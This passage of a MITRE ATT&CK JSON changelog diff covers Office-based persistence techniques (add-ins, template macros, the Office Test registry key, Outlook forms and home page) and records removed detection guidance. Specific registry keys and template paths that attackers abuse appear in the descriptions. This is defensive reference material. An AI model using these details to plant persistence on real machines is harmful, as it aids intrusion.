"phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1588/006", + "external_id": "T1588.006" + }, + { + "source_name": "National Vulnerability Database", + "description": "National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020.", + "url": "https://nvd.nist.gov/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.033000+00:00\", \"old_value\": \"2025-04-15 23:19:21.267000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0808: Detection of Vulnerabilities" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14 16:46:06.044000+00:00", + "modified": "2025-10-24 17:48:34.614000+00:00", + "name": "Office Application Startup", + "description": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137", + "external_id": "T1137" + }, + { + "source_name": "Microsoft Detect Outlook Forms", + "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", + "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack" + }, + { + "source_name": "TechNet O365 Outlook Rules", + "description": "Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.", + "url": "https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/" + }, + { + "source_name": "CrowdStrike Outlook Forms", + "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.", + "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746" + }, + { + "source_name": "SensePost Ruler GitHub", + "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/ruler" + }, + { + "source_name": "SensePost NotRuler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/notruler" + }, + { + "source_name": "Outlook Today Home Page", + "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.", + "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Nick Carr, Mandiant", + "Microsoft Threat Intelligence Center (MSTIC)", + "Sahar Shukrun", + "Praetorian", + "Loic Jaquemet", + "Ricardo Dias" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Application Log: Application Log Content\", \"Windows Registry: Windows Registry Key Modification\", \"File: File Modification\", \"Module: Module Load\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.614000+00:00\", \"old_value\": \"2025-04-15 22:54:32.990000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\\n\\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\\n\\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\\n-\\n-Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\\n-\\n-Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1042: Disable or Remove Feature or Program", + "M1051: Update Software", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0398: Detect Office Startup-Based Persistence via Macros, Forms, and Registry Hooks" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-07 19:52:52.801000+00:00", + "modified": "2025-10-24 17:48:37.911000+00:00", + "name": "Add-ins", + "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137/006", + "external_id": "T1137.006" + }, + { + "source_name": "FireEye Mail CDS 2018", + "description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20190508170121/https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf" + }, + { + "source_name": "MRWLabs Office Persistence Add-ins", + "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/" + }, + { + "source_name": "Microsoft Office Add-ins", + "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.", + "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460" + }, + { + "source_name": "GlobalDotName Jun 2019", + "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.", + "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"File: File Modification\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.911000+00:00\", \"old_value\": \"2025-04-15 21:45:27.400000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\\n\\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\\n-\\n-Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0050: Detect Persistence via Malicious Office Add-ins" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-07 20:29:17.788000+00:00", + "modified": "2025-10-24 17:48:59.432000+00:00", + "name": "Office Template Macros", + "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137/001", + "external_id": "T1137.001" + }, + { + "source_name": "MSDN VBA in Office", + "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.", + "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office" + }, + { + "source_name": "Hexacorn Office Template Macros", + "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.", + "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/" + }, + { + "source_name": "Microsoft Change Normal Template", + "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.", + "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea" + }, + { + "source_name": "enigma0x3 normal.dotm", + "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.", + "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/" + }, + { + "source_name": "CrowdStrike Outlook Forms", + "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.", + "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746" + }, + { + "source_name": "GlobalDotName Jun 2019", + "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.", + "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique" + }, + { + "source_name": "Outlook Today Home Page", + "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.", + "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.432000+00:00\", \"old_value\": \"2025-04-15 22:54:50.299000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0519: Detect Persistence via Office Template Macro Injection or Registry Hijack" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-07 19:44:04.475000+00:00", + "modified": "2025-10-24 17:49:34.588000+00:00", + "name": "Office Test", + "description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature, such as:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137/002", + "external_id": "T1137.002" + }, + { + "source_name": "Palo Alto Office Test Sofacy", + "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/" + }, + { + "source_name": "Hexacorn Office Test", + "description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017.", + "url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Creation\", \"Command: Command Execution\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\", \"File: File Creation\", \"Process: Process Creation\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.588000+00:00\", \"old_value\": \"2025-04-15 22:55:04.029000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\\n\\nConsider monitoring Office processes for anomalous DLL loads.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\\n-\\n-Consider monitoring Office processes for anomalous DLL loads.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0315: Detect Persistence via Office Test Registry DLL Injection" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-07 20:06:02.624000+00:00", + "modified": "2025-10-24 17:49:12.562000+00:00", + "name": "Outlook Forms", + "description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137/003", + "external_id": "T1137.003" + }, + { + "source_name": "Microsoft Detect Outlook Forms", + "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", + "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack" + }, + { + "source_name": "SensePost NotRuler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/notruler" + }, + { + "source_name": "SensePost Outlook Forms", + "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.", + "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:12.562000+00:00\", \"old_value\": \"2025-04-15 22:55:18.800000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n\\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n-\\n-Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0029: Detect Persistence via Outlook Custom Forms Triggered by Malicious Email" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-07 20:09:56.536000+00:00", + "modified": "2025-10-24 17:49:18.872000+00:00", + "name": "Outlook Home Page", + "description": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1137/004", + "external_id": "T1137.004" + }, + { + "source_name": "Microsoft Detect Outlook Forms", + "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", + "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack" + }, + { + "source_name": "SensePost NotRuler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", + "url": "https://github.com/sensepost/notruler" + }, + { + "source_name": "SensePost Outlook Home Page", + "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.", + "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.872000+00:00\", \"old_value\": 